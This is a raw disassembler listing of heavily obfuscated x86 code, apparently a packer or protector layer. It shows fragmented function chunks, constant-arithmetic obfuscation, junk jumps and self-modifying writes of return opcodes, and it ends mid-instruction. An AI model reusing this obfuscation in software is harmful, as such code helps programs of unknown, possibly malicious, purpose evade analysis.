--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_74885F: ; CODE XREF: sub_752D11+Dj mov al, [eax] js loc_750E81 sub al, 99h mov edx, [ebp-4] jmp loc_752488 ; END OF FUNCTION CHUNK FOR sub_752D11 ; =============== S U B R O U T I N E ======================================= sub_748871 proc near ; DATA XREF: sub_74FE55-934Fo call sub_75375E mov eax, 0C0F1A028h call sub_746D0D sub_748871 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_74FA24 loc_748880: ; CODE XREF: sub_74FA24+8j jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_74FA24 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_748885: ; CODE XREF: sub_747C22+635Aj or ebx, ecx add ecx, 0F44987C3h loc_74888D: ; CODE XREF: sub_747C22:loc_75518Ej push 0EBE2F0E4h pop eax loc_748893: ; CODE XREF: _0z4jwtox:007473A1j add eax, 76DBECF4h rol eax, 1Dh sub eax, 0A2F1CDF9h xor eax, 1EFE4127h jmp loc_747948 ; --------------------------------------------------------------------------- loc_7488AD: ; CODE XREF: sub_747C22:loc_75752Ej pop esi rol esi, 1Bh add esi, 78271854h xchg esi, [esp+0Ch+var_C] jmp loc_751E67 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747A94 loc_7488BF: ; CODE XREF: sub_747A94:loc_74D2CDj jnz loc_74EA7F jmp loc_755E4B ; END OF FUNCTION CHUNK FOR sub_747A94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745C55 loc_7488CA: ; CODE XREF: sub_745C55:loc_756CF7j cmp byte ptr [eax], 0F1h jnz loc_745C52 jmp loc_74A9B6 ; END OF FUNCTION CHUNK FOR sub_745C55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_7488D8: ; CODE XREF: sub_747C22+Cj test al, al jnz loc_7488E4 loc_7488E0: ; CODE XREF: sub_749B76-24EAj ; sub_74870B+8j ... pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_7488E4: ; CODE XREF: sub_747C22+CB8j mov eax, [ebp-4] jmp loc_74D8D2 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- loc_7488EC: ; CODE XREF: _0z4jwtox:00751E9Dj not edx ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_7488EE: ; CODE XREF: sub_74FE55:loc_75440Cj or edx, ebp shl esi, 0Ah loc_7488F3: ; CODE XREF: _0z4jwtox:loc_751E95j and eax, 814CC10Bh add eax, 0F80C8293h add eax, ebp add eax, 86AABD59h jmp loc_746D6A ; END OF FUNCTION CHUNK FOR sub_74FE55 ; =============== S U B R O U T I N E ======================================= sub_74890C proc near ; CODE XREF: sub_7474B9+F482p ; _0z4jwtox:007574CEj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074E3A7 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax xchg edi, [esp-4+arg_0] jmp loc_74E3A7 sub_74890C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_748918: ; CODE XREF: sub_752D11-6E02j xor eax, 0D00EDB0Fh call sub_7514AC loc_748923: ; CODE XREF: sub_74DDDA+Fj jmp loc_746843 ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A7D8 loc_748928: ; CODE XREF: sub_74A7D8+17BBj jmp loc_74E620 ; END OF FUNCTION CHUNK FOR sub_74A7D8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_251. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746CC3 loc_74892E: ; CODE XREF: sub_746CC3+6143j jmp nullsub_56 ; END OF FUNCTION CHUNK FOR sub_746CC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7545C6 loc_748933: ; CODE XREF: sub_7545C6:loc_75345Bj ror eax, 1Ah push offset sub_74E986 jmp loc_752440 ; END OF FUNCTION CHUNK FOR sub_7545C6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_143. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75497D loc_748941: ; CODE XREF: sub_75497D+9j jmp loc_74DDA5 ; END OF FUNCTION CHUNK FOR sub_75497D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7475CB loc_748946: ; CODE XREF: sub_7475CB-29j jmp loc_74C12D ; END OF FUNCTION CHUNK FOR sub_7475CB ; =============== S U B R O U T I N E ======================================= sub_74894B proc near ; CODE XREF: sub_75100C:loc_7562CBj var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00745EF6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00746820 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0074B54E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075308A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755247 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 007552E1 SIZE 00000005 BYTES push ebx mov ebx, edi xchg ebx, [esp+8+var_8] push 48839769h jmp loc_75308A sub_74894B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752C39 loc_74895B: ; CODE XREF: sub_752C39:loc_751038j xchg esi, [esp+4+var_4] jmp loc_74DDA5 ; END OF FUNCTION CHUNK FOR sub_752C39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CF35 loc_748963: ; CODE XREF: sub_74CF35-42FFj xor edx, 2FEC5A54h loc_748969: ; CODE XREF: sub_74CF35:loc_746183j push offset sub_752A54 jmp loc_7534A2 ; END OF FUNCTION CHUNK FOR sub_74CF35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745911 loc_748973: ; CODE XREF: sub_745911-C8j jl loc_74EC2E or ebp, 0F467D0E0h jmp loc_747CF4 ; END OF FUNCTION CHUNK FOR sub_745911 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BA04 loc_748984: ; CODE XREF: sub_74BA04+B02Cj pop esi or esi, 0D3303C28h sub esi, 6818CDD1h or esi, 0D26292E8h sub esi, 4053BDBEh add esi, 405D7FF8h add eax, esi jmp loc_75086B ; END OF FUNCTION CHUNK FOR sub_74BA04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745911 loc_7489AA: ; CODE XREF: sub_745911+2F0Cj movzx eax, byte ptr [eax] cmp ds:dword_75162C[eax*4], 0 jz loc_747CE7 mov eax, [ebp+var_4] cmp byte ptr [eax], 0CFh jz loc_747CE0 mov eax, [ebp+var_4] jmp loc_748154 ; END OF FUNCTION CHUNK FOR sub_745911 ; --------------------------------------------------------------------------- jmp ds:dword_41F128 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_191. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- test esi, ecx rol dword ptr [eax], 0 pop edx mov eax, [esp] jmp loc_75033B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74952C loc_7489E4: ; CODE XREF: sub_74952C+Cj jz loc_748CAE jnz loc_749C5F jg loc_74B32E jmp loc_748CAE ; END OF FUNCTION CHUNK FOR sub_74952C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_154. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748C3B loc_7489FC: ; CODE XREF: sub_748C3B+851Dj jmp loc_754049 ; END OF FUNCTION CHUNK FOR sub_748C3B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B822 loc_748A01: ; CODE XREF: sub_74B822:loc_747F27j jmp nullsub_49 ; END OF FUNCTION CHUNK FOR sub_74B822 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755E40 loc_748A06: ; CODE XREF: sub_755E40+1262j ja loc_75364F mov ebx, 0B437EB38h jmp loc_746194 ; END OF FUNCTION CHUNK FOR sub_755E40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747A94 loc_748A16: ; CODE XREF: sub_747A94+D955j sub al, 99h push 0C7A42A63h jmp loc_74EE58 ; END OF FUNCTION CHUNK FOR sub_747A94 ; =============== S U B R O U T I N E ======================================= sub_748A22 proc near ; CODE XREF: sub_745C34p ; _0z4jwtox:00757428j var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 007454A9 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 007468A1 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0074823D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00749B65 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074A921 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0074AFDB SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074C943 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074CA41 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074D933 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074DB25 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074DC40 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074EAF8 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0074FE3B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 007533C1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753630 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007552E6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756C08 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00756C44 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756EC0 SIZE 0000001A BYTES xchg esi, [esp+0] loc_748A25: ; CODE XREF: _0z4jwtox:00754CD3j pop esi push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp-4], eax mov eax, [ebp-4] mov [ebp-8], eax jmp loc_74A921 sub_748A22 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BF3A loc_748A3A: ; CODE XREF: sub_74BF3A:loc_746A2Ej jl loc_754B94 test edx, edi jmp loc_750033 ; END OF FUNCTION CHUNK FOR sub_74BF3A ; --------------------------------------------------------------------------- push ecx push offset sub_753D1A jmp locret_74D92D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B1F1 loc_748A52: ; CODE XREF: sub_74B1F1:loc_750BE7j ; sub_74B1F1+735Ej push offset loc_746945 jmp loc_74DA48 ; END OF FUNCTION CHUNK FOR sub_74B1F1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_70. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749980 loc_748A5D: ; CODE XREF: sub_749980+30BCj jz loc_74BEE2 jmp loc_746C1D ; END OF FUNCTION CHUNK FOR sub_749980 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7541BA loc_748A68: ; CODE XREF: sub_7541BA-B4FAj call sub_749BBA loc_748A6D: ; CODE XREF: sub_757251+13j jmp nullsub_145 ; END OF FUNCTION CHUNK FOR sub_7541BA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_33. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753F8B loc_748A73: ; CODE XREF: sub_753F8B+18j jmp loc_747ACD ; END OF FUNCTION CHUNK FOR sub_753F8B ; --------------------------------------------------------------------------- loc_748A78: ; CODE XREF: _0z4jwtox:0074FDF0j jmp sub_756FF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F7B1 loc_748A7D: ; CODE XREF: sub_74F7B1+Aj jmp loc_74B77D ; END OF FUNCTION CHUNK FOR sub_74F7B1 ; --------------------------------------------------------------------------- locret_748A82: ; CODE XREF: _0z4jwtox:0075545Ej retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749306 loc_748A83: ; CODE XREF: sub_749306+5BA0j jnz loc_749380 jmp loc_746E9E ; END OF FUNCTION CHUNK FOR sub_749306 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747D98 loc_748A8E: ; CODE XREF: sub_747D98+Bj mov large fs:0, esp mov eax, [eax] mov eax, 1 loc_748A9C: ; CODE XREF: sub_74F73B+8112j jmp loc_747E14 ; END OF FUNCTION CHUNK FOR sub_747D98 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- add eax, offset nullsub_5 jno loc_751362 call sub_74B091 ; START OF FUNCTION CHUNK FOR sub_746389 loc_748AB2: ; CODE XREF: sub_746389:loc_74D740j call sub_745480 loc_748AB7: ; CODE XREF: sub_75364C-DAE3j jmp loc_751E3F ; END OF FUNCTION CHUNK FOR sub_746389 ; =============== S U B R O U T I N E ======================================= sub_748ABC proc near ; CODE XREF: sub_747622:loc_752A2Bp ; _0z4jwtox:007536D7j arg_0 = dword ptr 4 arg_4 = dword ptr 8 xchg esi, [esp+0] pop esi add eax, eax cdq add eax, [esp-4+arg_0] adc edx, [esp-4+arg_4] jmp loc_74D74F sub_748ABC endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ebx, 7C13CCF8h shl edx, 17h jmp sub_747778 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752520 loc_748ADC: ; CODE XREF: sub_752520-373Ej jge loc_75723B ; END OF FUNCTION CHUNK FOR sub_752520 ; START OF FUNCTION CHUNK FOR sub_7473E6 loc_748AE2: ; CODE XREF: _0z4jwtox:loc_746DEEj ; sub_7473E6+4189j ... jmp loc_754D4C ; END OF FUNCTION CHUNK FOR sub_7473E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D1F3 loc_748AE7: ; CODE XREF: sub_74D1F3+11j ; _0z4jwtox:loc_75728Cj pop ecx call sub_753D03 loc_748AED: ; CODE XREF: _0z4jwtox:00753255j jmp loc_74FAF3 ; END OF FUNCTION CHUNK FOR sub_74D1F3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_67. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_757151 loc_748AF3: ; CODE XREF: sub_757151-CD76j jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_757151 ; --------------------------------------------------------------------------- loc_748AF8: ; CODE XREF: _0z4jwtox:0074C559j mov eax, 0A7A44D83h push offset sub_74ED9C jmp loc_74A788 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74721B loc_748B07: ; CODE XREF: sub_74721B+6905j jnz loc_746E2D jmp loc_74626A ; END OF FUNCTION CHUNK FOR sub_74721B ; --------------------------------------------------------------------------- mov eax, 4CF1C9EDh push ebx loc_748B18: ; CODE XREF: _0z4jwtox:loc_75117Bj mov ebx, esi call sub_757671 ; START OF FUNCTION CHUNK FOR sub_746640 loc_748B1F: ; CODE XREF: sub_746640+100F1j jmp loc_74FCD5 ; END OF FUNCTION CHUNK FOR sub_746640 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B822 loc_748B24: ; CODE XREF: sub_74B822+Dj jmp loc_747F19 ; END OF FUNCTION CHUNK FOR sub_74B822 ; =============== S U B R O U T I N E ======================================= sub_748B29 proc near ; DATA XREF: sub_7514BF+1C20o mov [ebp-8], eax jmp loc_75144F sub_748B29 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BED4 loc_748B31: ; CODE XREF: sub_74BED4+78A8j test byte ptr [ebp-8], 8 jz loc_74F00B push ebp mov eax, [ebp-20h] jmp loc_74FDCA ; END OF FUNCTION CHUNK FOR sub_74BED4 ; =============== S U B R O U T I N E ======================================= sub_748B44 proc near ; CODE XREF: sub_74A372+7p ; _0z4jwtox:0074FB79j ; FUNCTION CHUNK AT 0074933F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074C920 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074CD8F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0074E080 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074EA90 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 007504FC SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00752183 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753231 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 007537C2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00754D04 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0075679A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00757354 SIZE 00000026 BYTES xchg ecx, [esp+0] pop ecx mov eax, [ebp-4] mov al, [eax] jmp loc_7504FC sub_748B44 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_748B52 proc near ; CODE XREF: sub_747C22+65Bj ; _0z4jwtox:00749936p ; FUNCTION CHUNK AT 0074583E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007484CF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00748F3E SIZE 00000012 BYTES ; FUNCTION CHUNK AT 007494EC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074A2A2 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0074AC68 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074E3E8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074FFC0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075604A SIZE 0000000F BYTES ; FUNCTION CHUNK AT 007566AD SIZE 00000010 BYTES ; FUNCTION CHUNK AT 007576E4 SIZE 00000016 BYTES xchg ebx, [esp+0] pop ebx cmp al, 0A4h jz loc_74F2FD jmp loc_7494EC sub_748B52 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_748B63: ; CODE XREF: _0z4jwtox:007480BBj mov eax, [esp] push edx call sub_755C10 mov eax, 5389CFC1h call sub_746E93 jmp loc_749B1A ; =============== S U B R O U T I N E ======================================= sub_748B7B proc near ; CODE XREF: _0z4jwtox:0074F105j ; sub_745911+B052p ; FUNCTION CHUNK AT 0074B544 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 007575A2 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx mov al, [ebp-5] pop ecx pop ecx jmp loc_7575A2 sub_748B7B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_748B89 proc near ; DATA XREF: _0z4jwtox:loc_7536AEo ; FUNCTION CHUNK AT 00754C15 SIZE 00000005 BYTES add esi, 0AFFB105Dh xchg esi, [esp+0] jmp loc_754C15 sub_748B89 endp ; =============== S U B R O U T I N E ======================================= sub_748B97 proc near ; CODE XREF: sub_7562D5-F484p ; _0z4jwtox:0074B0F0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00748C03 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax mov byte ptr [eax], 0C3h jmp loc_748C03 sub_748B97 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_748BA3 proc near ; CODE XREF: sub_4010B2+182p ; sub_4018CB+FFp ... call sub_748BB8 jmp ds:off_41F04C sub_748BA3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7557E7 loc_748BAE: ; CODE XREF: sub_7557E7+1BF3j jmp loc_756581 ; END OF FUNCTION CHUNK FOR sub_7557E7 ; --------------------------------------------------------------------------- loc_748BB3: ; CODE XREF: _0z4jwtox:0074E8C6j jmp loc_7547CB ; =============== S U B R O U T I N E ======================================= sub_748BB8 proc near ; CODE XREF: sub_748BA3p sub_74CB0C+7j ... var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 007460D5 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0074788D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074CB18 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0074E288 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0075330A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00754960 SIZE 00000005 BYTES pop edx jmp loc_74788D sub_748BB8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_748BBE proc near ; CODE XREF: sub_74742A+D0BDp ; _0z4jwtox:007549B3j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00748310 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074851C SIZE 0000001C BYTES ; FUNCTION CHUNK AT 007502B0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075065B SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00752233 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755204 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 007561CE SIZE 00000005 BYTES xchg edx, [esp+0] pop edx push 34FF6D7Fh pop eax add eax, 27E11357h and eax, 82BC7716h cmp eax, 539B9C31h jmp loc_7502B0 sub_748BBE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_748BDF: ; CODE XREF: sub_74AAC1-1EA4j push 0A42E6ADBh pop ecx or ecx, 0E44869EBh jnz loc_74C150 ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; START OF FUNCTION CHUNK FOR sub_74870B loc_748BF1: ; CODE XREF: sub_74870B+6B16j jmp loc_746CFE ; END OF FUNCTION CHUNK FOR sub_74870B ; --------------------------------------------------------------------------- loc_748BF6: ; CODE XREF: _0z4jwtox:0074A545j jmp sub_7571A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D23E loc_748BFB: ; CODE XREF: sub_74D23E+6E75j pop edi pop ebp retn ; END OF FUNCTION CHUNK FOR sub_74D23E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746128 loc_748BFE: ; CODE XREF: sub_746128+9311j jmp nullsub_70 ; END OF FUNCTION CHUNK FOR sub_746128 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748B97 loc_748C03: ; CODE XREF: sub_748B97+7j jmp sub_7562D5 ; END OF FUNCTION CHUNK FOR sub_748B97 ; --------------------------------------------------------------------------- loc_748C08: ; CODE XREF: _0z4jwtox:0074643Ej jmp loc_752DCE ; =============== S U B R O U T I N E ======================================= sub_748C0D proc near ; CODE XREF: sub_753C2A:loc_74968Dj ; sub_754FC6-758Ej ... ; FUNCTION CHUNK AT 007452E7 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00747296 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074910B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00749850 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0074C27B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0074C6F7 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0074D592 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0074FFE3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00752010 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00754B16 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756534 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00756F17 SIZE 00000015 BYTES push ebp jmp loc_74910B sub_748C0D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_748C13: ; CODE XREF: sub_74AAC1-1CAFj mov edx, [edi] or esi, ebx loc_748C17: ; CODE XREF: sub_74AAC1:loc_756F56j mov eax, 0DD960900h push ecx jmp loc_748BDF ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CF35 loc_748C22: ; CODE XREF: sub_74CF35:loc_755324j xor eax, 0CCCCE0Ah jge loc_750B05 jb loc_74AAAF loc_748C34: ; CODE XREF: _0z4jwtox:loc_750D23j xchg ebx, edx jmp loc_748963 ; END OF FUNCTION CHUNK FOR sub_74CF35 ; =============== S U B R O U T I N E ======================================= sub_748C3B proc near ; CODE XREF: sub_74C0A0:loc_74E802p ; _0z4jwtox:0074F528j ; FUNCTION CHUNK AT 007489FC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074A45B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074C836 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D43B SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00751152 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00754049 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00754B36 SIZE 00000019 BYTES xchg edx, [esp+0] pop edx add eax, 62CD69DAh push edx jmp loc_74A45B sub_748C3B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F615 loc_748C4B: ; CODE XREF: sub_74F615:loc_74C48Fj jnb loc_754D11 jmp loc_74B3A6 ; END OF FUNCTION CHUNK FOR sub_74F615 ; --------------------------------------------------------------------------- loc_748C56: ; CODE XREF: _0z4jwtox:00750C08j xor ecx, 8A209DFDh add ecx, ebp push ebx push 2942D5F0h pop ebx sub ebx, 3AAC9CEFh xor ebx, 0F75F0742h jmp loc_74E151 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BACE loc_748C76: ; CODE XREF: sub_74BACE:loc_7481B4j pop ecx xor ecx, 0AE8D84EFh add ecx, 0F5A0EF5Ch xchg ecx, [esp+0] jmp sub_75375E ; END OF FUNCTION CHUNK FOR sub_74BACE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_96. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F08D loc_748C8C: ; CODE XREF: sub_74F08D-4AC0j jmp loc_749785 ; END OF FUNCTION CHUNK FOR sub_74F08D ; --------------------------------------------------------------------------- db 0C4h, 0CBh, 34h dword_748C94 dd 0 ; sub_746C5E+6r ... ; =============== S U B R O U T I N E ======================================= sub_748C98 proc near ; CODE XREF: sub_40A3AD+4C0p ; sub_40ACAF+DFp ... ; FUNCTION CHUNK AT 0074A008 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0074DF24 SIZE 00000013 BYTES jz loc_74DF24 mov eax, ds:dword_74AC54 push offset loc_746D51 jmp nullsub_35 sub_748C98 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74952C loc_748CAE: ; CODE XREF: sub_74952C:loc_7489E4j ; sub_74952C-B36j add eax, 5F0E9C4Ah push offset loc_74EFD2 jmp nullsub_39 ; END OF FUNCTION CHUNK FOR sub_74952C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7541BA loc_748CBE: ; CODE XREF: sub_7541BA:loc_74F380j mov al, [eax] jnz loc_748A68 sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] call sub_752115 and ebp, 324FCCCFh jmp loc_7509DE ; END OF FUNCTION CHUNK FOR sub_7541BA ; =============== S U B R O U T I N E ======================================= sub_748CDD proc near ; DATA XREF: _0z4jwtox:0075058Co call nullsub_6 jmp ds:dword_41F078 sub_748CDD endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- sbb al, 24h mov edx, ebx pop ebx jns loc_745EA7 mov eax, [esp] jmp loc_748460 ; =============== S U B R O U T I N E ======================================= sub_748CFC proc near ; CODE XREF: _0z4jwtox:0074B5FDj ; _0z4jwtox:007573CFp ; FUNCTION CHUNK AT 0074B6FF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075045D SIZE 00000008 BYTES xchg ebx, [esp+0] pop ebx mov ds:off_41F0E4, eax lea eax, loc_750676 jmp loc_75045D sub_748CFC endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_159. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745A78 loc_748D12: ; CODE XREF: sub_745A78+CC77j jmp loc_7497C1 ; END OF FUNCTION CHUNK FOR sub_745A78 ; --------------------------------------------------------------------------- loc_748D17: ; CODE XREF: _0z4jwtox:loc_7467C5j pushf push 64419A80h pop eax xor eax, 6AAC0C31h add eax, 0F186DBB6h popf xchg eax, [esp] jmp loc_748DF0 ; --------------------------------------------------------------------------- loc_748D33: ; CODE XREF: _0z4jwtox:00756192j mov eax, 7EC4DE38h ; =============== S U B R O U T I N E ======================================= sub_748D38 proc near ; CODE XREF: _0z4jwtox:00752FF4p ; FUNCTION CHUNK AT 00745452 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074556D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074C763 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 007523B3 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi xor eax, 0AEB5E723h jmp loc_74C763 sub_748D38 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_748D47 proc near ; DATA XREF: sub_750FBF+Ao mov byte ptr [eax], 0C3h jmp nullsub_252 sub_748D47 endp ; --------------------------------------------------------------------------- loc_748D4F: ; CODE XREF: _0z4jwtox:007531A0j mov eax, [esp] push edx push edx push 